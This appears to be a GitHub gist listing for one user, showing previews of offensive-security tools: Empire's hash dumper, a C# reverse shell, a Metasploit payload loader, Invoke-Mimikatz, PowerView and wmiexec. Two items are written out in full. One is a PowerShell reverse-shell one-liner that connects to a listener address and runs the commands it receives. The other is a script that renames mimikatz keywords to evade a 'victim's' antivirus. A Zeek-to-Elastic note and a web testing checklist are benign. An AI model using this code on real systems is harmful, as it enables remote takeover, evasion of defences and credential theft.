jessefmoore / Invoke-PowerDump.ps1

Last active August 14, 2020 17:31

PowerDump.ps1 from EmpireOld

	# Pulled from https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1
	# Pulled from darkoperator's Posh-SecMod:
	# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
	function Invoke-PowerDump
	{
	<#
	.SYNOPSIS
	Dumps hashes from the local system. Note: administrative privileges required.
	.DESCRIPTION
	Generate a command for dumping hashes from a Windows System PowerShell.exe -command

jessefmoore / reverse2.cs

Created August 13, 2020 14:50

C# Reverse Shell

	/*
	Reference: http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell
	*/

	using System;
	using System.Text;
	using System.IO;
	using System.Diagnostics;
	using System.ComponentModel;
	using System.Linq;

jessefmoore / msfsharp.cs

Created August 13, 2020 14:44

Run MSF payloads from C#

	using System;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace UnmanagedCode
	{
	class Program
	{
	[DllImport("kernel32")]
	static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode);

jessefmoore / WAHH_Task_Checklist.md

Created July 27, 2020 14:36 — forked from jhaddix/Testing_Checklist.md

The Web Application Hacker's Handbook - Task Checklist - Github-Flavored Markdown

The Web Application Hacker's Handbook

Web Application Hacker's Handbook Task checklist as a Github-Flavored Markdown file

	# This script downloads and slightly "obfuscates" the mimikatz project.
	# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,
	# so removing them from the project before compiling gets us past most of the AV solutions.
	# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
	# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

	git clone https://github.com/gentilkiwi/mimikatz.git windows
	mv windows/mimikatz windows/candycrush
	find windows/ -type f -print0 \| xargs -0 sed -i 's/mimikatz/candycrush/g'
	find windows/ -type f -print0 \| xargs -0 sed -i 's/MIMIKATZ/CANDYCRUSH/g'

jessefmoore / quick_and_dirty_zeek_into_elastic.md

Created May 2, 2020 18:43 — forked from neu5ron/quickly_get_zeek_into_elastic.md

hackathon quick hack to get into any Elastic

Understanding of Zeek Fields

use the following OSSEM branch

Prep Elasticsearch

You only need to do this one time skip this section if you have done this once already and go to the "Upload data section"

Login/browse to your Kibana instance Go to Dev Tools (which is the wrench icon in the bottom left)

jessefmoore / RS.ps1

Created February 2, 2020 17:27 — forked from ohpe/RS.ps1

PowerShell Reverse Shell

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

jessefmoore / PowerView-2.0-tricks.ps1

Created January 17, 2020 20:41 — forked from HarmJ0y/PowerView-2.0-tricks.ps1

PowerView-2.0 tips and tricks

	# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
	# has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

	# get all the groups a user is effectively a member of, 'recursing up'
	Get-NetGroup -UserName <USER>

	# get all the effective members of a group, 'recursing down'
	Get-NetGroupMember -GoupName <GROUP> -Recurse

	# get the effective set of users who can administer a server

jessefmoore / Invoke-mimikatz2016

Created September 22, 2019 03:42

Win2016-Mimikatz

This file has been truncated, but you can view the full file.

	function Invoke-Mimikatz
	{
	<#
	.SYNOPSIS

	This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
	dump credentials without ever writing the mimikatz binary to disk.
	The script has a ComputerName parameter which allows it to be executed against multiple computers.

	This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

jessefmoore / wmiexec_server_mode.py

Last active March 20, 2020 19:20 — forked from shelld0n/wmiexec_server_mode.py

Impacket wmiexec.py implementation supporting SERVER mode

	#!/usr/bin/env python
	# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
	#
	# This software is provided under under a slightly modified version
	# of the Apache Software License. See the accompanying LICENSE file
	# for more information.
	#
	# A similar approach to smbexec but executing commands through WMI.
	# Main advantage here is it runs under the user (has to be Admin)
	# account, not SYSTEM, plus, it doesn't generate noisy messages

Jesse Moore jessefmoore

The Web Application Hacker's Handbook

Contents

Understanding of Zeek Fields

Prep Elasticsearch